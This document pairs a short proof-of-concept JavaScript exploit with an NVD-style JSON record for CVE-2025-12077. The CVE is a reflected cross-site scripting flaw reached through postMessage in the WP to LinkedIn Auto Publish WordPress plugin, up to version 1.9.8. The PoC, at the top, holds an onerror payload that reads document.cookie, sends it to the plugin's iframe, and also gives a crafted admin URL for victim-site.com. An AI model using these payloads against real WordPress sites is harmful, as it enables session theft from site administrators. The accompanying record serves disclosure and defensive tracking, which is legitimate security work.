CVE-2025-12077

// CVE-2025-12077 PoC - Reflected XSS via PostMessage // Target: WP to LinkedIn Auto Publish plugin <= 1.9.8 // Malicious page that sends XSS payload via PostMessage const maliciousPayload = '<img src=x onerror=alert(document.cookie)>'; // Target WordPress site with vulnerable plugin const targetOrigin = window.location.origin; // Send malicious payload to the vulnerable iframe const iframe = document.getElementById('linkedin-publish-iframe'); iframe.contentWindow.postMessage(maliciousPayload, targetOrigin); // Alternative: Direct link-based XSS (if reflected in URL) // <a href="https://victim-site.com/wp-admin/admin.php?page=linkedin-auto-publish&msg=<img src=x onerror=alert(document.cookie)>">Click me</a>

{"cve": {"id": "CVE-2025-12077", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:46.063", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP to LinkedIn Auto Publish plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via PostMessage in all versions up to, and including, 1.9.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/linkedin-auto-publish/trunk/js/notice.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3412103%40linkedin-auto-publish&new=3412103%40linkedin-auto-publish&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b680132a-f397-4636-98b2-bcd8c168e822?source=cve", "source": "[email protected]"}]}}